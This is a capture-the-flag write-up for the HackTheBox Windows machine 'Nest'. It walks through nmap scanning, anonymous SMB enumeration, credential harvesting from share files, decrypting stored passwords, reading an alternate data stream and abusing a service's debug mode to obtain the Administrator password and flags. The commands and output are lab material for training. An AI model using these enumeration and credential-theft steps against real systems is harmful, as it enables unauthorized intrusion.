



# **Nest - Write-up - HackTheBox**

**noraj**

**2020-08-06**



# Contents

<b>1</b>	<b>Information</b>	<b>1</b>
1.1	Box . . . . .	1
<b>2</b>	<b>Write-up</b>	<b>2</b>
2.1	Overview . . . . .	2
2.2	Network Enumeration: finding TempUser . . . . .	2
2.3	Network Exploration: finding c.smith . . . . .	6
2.4	Alternate Data Stream (ADS) . . . . .	8
2.5	Network service exploitation: finding Administrator . . . . .	9

# 1 Information

READ THE WU ONLINE: <https://rawsec.ml/en/hackthebox-nest-write-up/>

## 1.1 Box

- **Name:** Nest
- **Profile:** [www.hackthebox.eu](http://www.hackthebox.eu)
- **Difficulty:** Easy
- **OS:** Windows
- **Points:** 20



Figure 1.1: nest

## 2 Write-up

### 2.1 Overview

- **Network Enumeration: finding TempUser:** port 445 (SMB), 4386, explore SMB shares
- **Network Exploration: finding c.smith:** listing SMB shares again
- **Alternate Data Stream (ADS):** password of HQK Reporting via ADS
- **Network service exploitation: finding Administrator:** HQK Reporting debug mode, read LDAP config for Admin password

### 2.2 Network Enumeration: finding TempUser

**TL;DR:** port 445 (SMB), 4386, explore SMB shares

I started with SYN scan on all ports with **nmap**:

**BlackArch:** pacman -S nmap

```
$ sudo nmap -sS -p- 10.10.10.178 -o nmap_ports
[sudo] password for noraj:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-23 21:05 CET
Stats: 0:04:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 28.81% done; ETC: 21:19 (0:10:03 remaining)
Nmap scan report for 10.10.10.178
Host is up (0.051s latency).
Not shown: 65533 filtered ports
PORT      STATE SERVICE
445/tcp    open  microsoft-ds
4386/tcp    open  unknown

Nmap done: 1 IP address (1 host up) scanned in 543.24 seconds

$ sudo nmap -sSVC -p 445,4386 10.10.10.178 -o nmap_services
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-23 21:24 CET
Stats: 0:02:02 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 21:28 (0:02:02 remaining)
Nmap scan report for 10.10.10.178
Host is up (0.031s latency).
```

```

PORT      STATE SERVICE      VERSION
445/tcp    open  microsoft-ds?
4386/tcp   open  unknown
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq,
|   ↪ LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq,
|   ↪ TerminalServer, TerminalServerCookie, X11Probe:
|     Reporting Service V1.2
|     FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions:
|       Reporting Service V1.2
|       Unrecognised command
|     Help:
|       Reporting Service V1.2
|       This service allows users to run queries against databases using the legacy HQK format
|     AVAILABLE COMMANDS ---
|     LIST
|     SETDIR <Directory_Name>
|     RUNQUERY <Query_ID>
|     DEBUG <Password>
|     _ HELP <Command>
1 service unrecognized despite returning data. If you know the service/version, please submit
| the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4386-TCP:V=7.80%I=7%D=3/23%Time=5E791B05%P=x86_64-unknown-linux-gnu
SF:%r(NULL,21,"\r\nHQK\x20Reporting\x20Service\x20V1\2\r\n\r\n>")%r(Gener
SF:icLines,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\2\r\n\r\n>\r\nUnreco
SF:gnised\x20command\r\n>")%r(GetRequest,3A,"\r\nHQK\x20Reporting\x20Servi
SF:ce\x20V1\2\r\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(HTTPOptions,3A
SF:","\r\nHQK\x20Reporting\x20Service\x20V1\2\r\n\r\n>\r\nUnrecognised\x20
SF:command\r\n>")%r(RTSPRequest,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\
SF:2\r\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(RPCCheck,21,"\r\nHQK\x2
SF:0Reporting\x20Service\x20V1\2\r\n\r\n>")%r(DNSVersionBindReqTCP,21,"\r
SF:\nHQK\x20Reporting\x20Service\x20V1\2\r\n\r\n>")%r(DNSStatusRequestTCP
SF:,21,"\r\nHQK\x20Reporting\x20Service\x20V1\2\r\n\r\n>")%r(Help,F2,"\r\
SF:nHQK\x20Reporting\x20Service\x20V1\2\r\n\r\n>\r\nThis\x20service\x20al
SF:lows\x20users\x20to\x20run\x20queries\x20against\x20databases\x20using\
SF:x20the\x20legacy\x20HQK\x20format\r\n\r\n---\x20AVAILABLE\x20COMMANDS\x
SF:20---\r\n\r\nLIST\r\nSETDIR\x20<Directory_Name>\r\nRUNQUERY\x20<Query_I
SF:D>\r\nDEBUG\x20<Password>\r\nHELP\x20<Command>\r\n>")%r(SSLSessionReq,2
SF:1,"\r\nHQK\x20Reporting\x20Service\x20V1\2\r\n\r\n>")%r(TerminalServer
SF:Cookie,21,"\r\nHQK\x20Reporting\x20Service\x20V1\2\r\n\r\n>")%r(TLSSes
SF:sionReq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\2\r\n\r\n>")%r(Kerbe
SF:ros,21,"\r\nHQK\x20Reporting\x20Service\x20V1\2\r\n\r\n>")%r(SMBProgNe
SF:g,21,"\r\nHQK\x20Reporting\x20Service\x20V1\2\r\n\r\n>")%r(X11Probe,21
SF:","\r\nHQK\x20Reporting\x20Service\x20V1\2\r\n\r\n>")%r(FourOhFourReque
SF:st,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\2\r\n\r\n>\r\nUnrecognise
SF:d\x20command\r\n>")%r(LPDString,21,"\r\nHQK\x20Reporting\x20Service\x20
SF:V1\2\r\n\r\n>")%r(LDAPSearchReq,21,"\r\nHQK\x20Reporting\x20Service\x2
SF:0V1\2\r\n\r\n>")%r(LDAPBindReq,21,"\r\nHQK\x20Reporting\x20Service\x20
SF:V1\2\r\n\r\n>")%r(SIPOptions,3A,"\r\nHQK\x20Reporting\x20Service\x20V1
SF:\2\r\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(LANDesk-RC,21,"\r\nHQK
SF:\x20Reporting\x20Service\x20V1\2\r\n\r\n>")%r(TerminalServer,21,"\r\nH
SF:QK\x20Reporting\x20Service\x20V1\2\r\n\r\n>");

```

```
Host script results:
|_clock-skew: 2m28s
|  smb2-security-mode:
|    2.02:
|_   Message signing enabled but not required
|  smb2-time:
|    date: 2020-03-23T20:29:44
|_   start_date: 2020-03-23T19:20:32
```

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 206.45 seconds
```

So we have SMBv2 + unknown service on port 4386.

**CrackMapExec**, `smb-enum-shares.nse` and **enum4linux** don't find any shares because they support only SMB v1 that is disabled.

But `smbclient` and `msf` modules works. So let's start **metasploit** console (`msfconsole`).

**BlackArch:** `pacman -S metasploit`

```
msf5 auxiliary(scanner/smb/smb_enumshares) > run

[+] 10.10.10.178:445      - ADMIN$ - (DISK) Remote Admin
[+] 10.10.10.178:445      - C$ - (DISK) Default share
[+] 10.10.10.178:445      - Data - (DISK)
[+] 10.10.10.178:445      - IPC$ - (IPC) Remote IPC
[+] 10.10.10.178:445      - Secure$ - (DISK)
[+] 10.10.10.178:445      - Users - (DISK)
[*] 10.10.10.178:        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf5 auxiliary(scanner/smb/smb2) > run

[+] 10.10.10.178:445      - 10.10.10.178 supports SMB 2 [dialect 255.2] and has been online
  ↳ for 1 hours
[*] 10.10.10.178:445      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

I found a few SMBv2 shares with **metasploit** but we can do the same thing with `smbclient`.

**BlackArch:** `pacman -S smbclient`

```
$ smbclient -L 10.10.10.178 -N
Unable to initialize messaging context
```

Sharename	Type	Comment
-----	----	-----



```
ADMIN$      Disk      Remote Admin
C$          Disk      Default share
Data        Disk
IPC$        IPC        Remote IPC
Secure$     Disk
Users       Disk

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.178 failed (Error NT_STATUS_IO_TIMEOUT)
Unable to connect with SMB1 -- no workgroup available
```

We can anonymously connect to Users share and list folders in there to list users:

```
$ smbclient -N \\\10.10.10.178\\Users
Unable to initialize messaging context
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \Administrator\*
NT_STATUS_ACCESS_DENIED listing \C.Smith\*
NT_STATUS_ACCESS_DENIED listing \L.Frost\*
NT_STATUS_ACCESS_DENIED listing \R.Thompson\*
NT_STATUS_ACCESS_DENIED listing \TempUser\*
```

This way we found 5 users.

Currently we can't enumerate what is inside Secure share.

```
$ smbclient -N \\\10.10.10.178\\Secure
Unable to initialize messaging context
tree connect failed: NT_STATUS_BAD_NETWORK_NAME
```

By enumerating the Data share we can find some interesting files:

```
$ smbclient -N \\\10.10.10.178\\Data
Unable to initialize messaging context
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \IT\*
NT_STATUS_ACCESS_DENIED listing \Production\*
NT_STATUS_ACCESS_DENIED listing \Reports\*
getting file \Shared\Maintenance\Maintenance Alerts.txt of size 48 as Maintenance Alerts.txt
↳ (0,4 KiloBytes/sec) (average 0,4 KiloBytes/sec)
getting file \Shared\Templates\HR\Welcome Email.txt of size 425 as Welcome Email.txt (0,5
↳ KiloBytes/sec) (average 0,5 KiloBytes/sec)
```

By reading a welcome email we can find a generic account:

```
$ cat smb/Shared/Templates/HR/Welcome\ Email.txt
We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>

You will find your home folder in the following location:
\\HTB-NEST\Users\<USERNAME>

If you have any issues accessing specific services or workstations, please inform the
IT department and use the credentials below until all systems have been set up for you.

Username: TempUser
Password: welcome2019

Thank you
HR
```

## 2.3 Network Exploration: finding c.smith

**TL;DR:** listing SMB shares again

We can enumerate Data share again but using the TempUser account this time, to list files we weren't able to see earlier:

```
$ smbclient \\\10.10.10.178\Data -U TempUser
Unable to initialize messaging context
Enter WORKGROUP\TempUser's password:
Try "help" to get a list of possible commands.
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
getting file \IT\Configs\Adobe\editing.xml of size 246 as editing.xml (1,9 KiloBytes/sec)
↳ (average 1,9 KiloBytes/sec)
getting file \IT\Configs\Adobe\Options.txt of size 0 as Options.txt (0,0 KiloBytes/sec)
↳ (average 1,1 KiloBytes/sec)
getting file \IT\Configs\Adobe\projects.xml of size 258 as projects.xml (0,4 KiloBytes/sec)
↳ (average 0,6 KiloBytes/sec)
getting file \IT\Configs\Adobe\settings.xml of size 1274 as settings.xml (10,0 KiloBytes/sec)
↳ (average 1,8 KiloBytes/sec)
getting file \IT\Configs\Atlas\Temp.XML of size 1369 as Temp.XML (4,1 KiloBytes/sec) (average
↳ 2,4 KiloBytes/sec)
getting file \IT\Configs\Microsoft\Options.xml of size 4598 as Options.xml (36,2
↳ KiloBytes/sec) (average 5,3 KiloBytes/sec)
getting file \IT\Configs\NotepadPlusPlus\config.xml of size 6451 as config.xml (50,4
↳ KiloBytes/sec) (average 8,9 KiloBytes/sec)
getting file \IT\Configs\NotepadPlusPlus\shortcuts.xml of size 2108 as shortcuts.xml (16,6
↳ KiloBytes/sec) (average 9,5 KiloBytes/sec)
getting file \IT\Configs\RU Scanner\RU_config.xml of size 270 as RU_config.xml (2,1
↳ KiloBytes/sec) (average 9,0 KiloBytes/sec)
```



```
getting file \Shared\Maintenance\Maintenance Alerts.txt of size 48 as Maintenance Alerts.txt
↳ (0,4 KiloBytes/sec) (average 8,4 KiloBytes/sec)
getting file \Shared\Templates\HR\Welcome Email.txt of size 425 as Welcome Email.txt (3,4
↳ KiloBytes/sec) (average 8,1 KiloBytes/sec)
```

One of the file we retrieved is containing a password:

```
$ grep -ri pass smb
smb/IT/Configs/RU Scanner/RU_config.xml:
↳ <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
smb/Shared/Templates/HR/Welcome Email.txt:Password: welcome2019

$ cat 'smb/IT/Configs/RU Scanner/RU_config.xml'
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
↳ xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Port>389</Port>
  <Username>c.smith</Username>
  <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>
```

The *RU Scanner* password is ciphered but pasting `fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=` in a search we can find some code snippets that are able to decipher it.

- VB.Net: <https://dotnetfiddle.net/kiYWi4>
- VB.Net: <https://dotnetfiddle.net/vYnZLb>

Deciphered password is `xRxRxPANCAK3SxRxRx` for `c.smith` user.

There is another file hinting us some files:

```
$ tail smb/IT/Configs/NotepadPlusPlus/config.xml
  <Find name="redeem on" />
  <Find name="192" />
  <Replace name="C_addEvent" />
</FindHistory>
<History nbMaxFile="15" inSubMenu="no" customLength="-1">
  <File filename="C:\windows\System32\drivers\etc\hosts" />
  <File filename="\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
  <File filename="C:\Users\C.Smith\Desktop\todo.txt" />
</History>
</NotepadPlus>
```

So we can go back to `Users` share with a real user this time (`c.smith`) and download all his personal files.

```
$ smbclient \\\10.10.10.178\\Users -U 'c.smith'
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
NT_STATUS_ACCESS_DENIED listing \Administrator\*
getting file \C.Smith\HQB Reporting\AD Integration Module\HqkLdap.exe of size 17408 as
↳ HqkLdap.exe (42,7 KiloBytes/sec) (average 42,7 KiloBytes/sec)
getting file \C.Smith\HQB Reporting\Debug Mode Password.txt of size 0 as Debug Mode
↳ Password.txt (0,0 KiloBytes/sec) (average 34,7 KiloBytes/sec)
getting file \C.Smith\HQB Reporting\HQB_Config_Backup.xml of size 249 as HQB_Config_Backup.xml
↳ (1,9 KiloBytes/sec) (average 27,8 KiloBytes/sec)
getting file \C.Smith\user.txt of size 32 as user.txt (0,3 KiloBytes/sec) (average 23,2
↳ KiloBytes/sec)
NT_STATUS_ACCESS_DENIED listing \L.Frost\*
NT_STATUS_ACCESS_DENIED listing \R.Thompson\*
NT_STATUS_ACCESS_DENIED listing \TempUser\*
```

This is where we find the user flag:

```
cat smb/C.Smith/user.txt
cf71b25404be5d84fd827e05f426e987
```

## 2.4 Alternate Data Stream (ADS)

**TL;DR:** password of HQB Reporting via ADS

Inside Users share, in the C . Smith folder, there are files related to HQB Reporting software.

There is a promising Debug Mode Password . txt files but the files size is 0 byte.

This gives us an hint an ADS (Alternate Data Stream) may be used.

As you can see below the default \$DATA stream is 0 byte when an alternate stream named Password is 15 bytes. So we can download the file via the non-default data stream.

```
$ smbclient \\\10.10.10.178\\Users -U 'c.smith'
Unable to initialize messaging context
Enter WORKGROUP\c.smith's password:
Try "help" to get a list of possible commands.
smb: \> cd "C.Smith\HQB Reporting"
smb: \C.Smith\HQB Reporting\> allinfo "Debug Mode Password.txt"
altname: DEBUGM~1.TXT
create_time:      ven. août  9 01:06:12 2019 CEST
access_time:      ven. août  9 01:06:12 2019 CEST
write_time:       ven. août  9 01:08:17 2019 CEST
change_time:      ven. août  9 01:08:17 2019 CEST
attributes: A (20)
```

```
stream: [::$DATA], 0 bytes
stream: [:Password::$DATA], 15 bytes
smb: \C.Smith\HQQ Reporting\> get "Debug Mode Password.txt:Password::$DATA"
getting file \C.Smith\HQQ Reporting\Debug Mode Password.txt:Password::$DATA of size 15 as Debug
  ↳ Mode Password.txt:Password::$DATA (0,1 KiloBytes/sec) (average 0,1 KiloBytes/sec)
smb: \C.Smith\HQQ Reporting\>
```

In this stream the file contains the password for accessing the debug mode:

```
$ cat smb/Debug\ Mode\ Password.txt:Password:\$DATA
WBQ201953D8w
```

## 2.5 Network service exploitation: finding Administrator

**TL;DR:** HQK Reporting debug mode, read LDAP config for Admin password

Now looking at the backup config file `HQK_Config_Backup.xml` we can see the service is running on port 4386. The open port we saw earlier with **nmap**.

```
$ cat C.Smith/HQQ\ Reporting/HQK_Config_Backup.xml
<?xml version="1.0"?>
<ServiceSettings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  ↳ xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Port>4386</Port>
  <QueryDirectory>C:\Program Files\HQQ\ALL QUERIES</QueryDirectory>
</ServiceSettings>
```

So let's open a TCP socket with `telnet` to interact with the protocol:

```
$ telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.

HQQ Reporting Service V1.2

>help

This service allows users to run queries against databases using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
```

```
DEBUG <Password>
HELP <Command>
```

We can see there is a `DEBUG <Password>` command requiring a password. All good we have one!

```
>DEBUG WBQ201953D8w

Debug mode enabled. Use the HELP command to view additional commands that are now available
>help

This service allows users to run queries against databases using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
SERVICE
SESSION
SHOWQUERY <Query_ID>
```

We have 3 new commands now, but let's start with the other commands we already had.

```
>LIST

Use the query ID numbers below with the RUNQUERY command and the directory names with the
↳ SETDIR command

QUERY FILES IN CURRENT DIRECTORY

[DIR]  COMPARISONS
[1]   Invoices (Ordered By Customer)
[2]   Products Sold (Ordered By Customer)
[3]   Products Sold In Last 30 Days

Current Directory: ALL QUERIES
```

It looks like `LIST = ls` and `SETDIR = cd`, it's obvious.

We are currently in `ALL QUERIES` directory. Let's go back upper in the tree:

```
>setdir ..

Current directory set to HQK
>list
```

Use the query ID numbers below with the RUNQUERY command and the directory names with the  
↪ SETDIR command

QUERY FILES IN CURRENT DIRECTORY

```
[DIR] ALL QUERIES
[DIR] LDAP
[DIR] Logs
[1] HqkSvc.exe
[2] HqkSvc.InstallState
[3] HQK_Config.xml
```

Current Directory: HQK

We went in HQK directory and there is a LDAP directory in it. Let's see this one:

```
>setdir LDAP
```

Current directory set to LDAP

```
>list
```

Use the query ID numbers below with the RUNQUERY command and the directory names with the  
↪ SETDIR command

QUERY FILES IN CURRENT DIRECTORY

```
[1] HqkLdap.exe
[2] Ldap.conf
```

Current Directory: LDAP

There is a config file and config files are prone to give passwords, so let's read it. Hopefully with the debug mode we unlocked the showquery = cat.

```
>showquery 2
```

```
Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQ0cWG8peLoeRQehqip/fKdeG/kjEVb4=
```

This password is ciphered too, as earlier let's paste it in a search engine:

- VB.Net: <https://dotnetfiddle.net/LdhDaa>
- C#: <https://dotnetfiddle.net/ndCO9U>

So the deciphered password is: XtH4nkS4Pl4y1nGX.

Let's get root flag via the C\$ share with the Administrator account:

```
$ smbclient '\\10.10.10.178\C$' -U 'Administrator'
Unable to initialize messaging context
Enter WORKGROUP\Administrator's password:
Try "help" to get a list of possible commands.
smb: \> cd Users\Administrator\Desktop
smb: \Users\Administrator\Desktop\> ls
.                DR            0   Sun Jan 26 08:20:50 2020
..               DR            0   Sun Jan 26 08:20:50 2020
desktop.ini      AHS         282  Sat Jan 25 23:02:44 2020
root.txt        A           32   Tue Aug  6 00:27:26 2019

10485247 blocks of size 4096. 6545277 blocks available
smb: \Users\Administrator\Desktop\> mget root.txt
Get file root.txt? y
getting file \Users\Administrator\Desktop\root.txt of size 32 as root.txt (0,3 KiloBytes/sec)
↪ (average 0,3 KiloBytes/sec)

$ cat root.txt
6594c2eb084bc0f08a42f0b94b878c41
```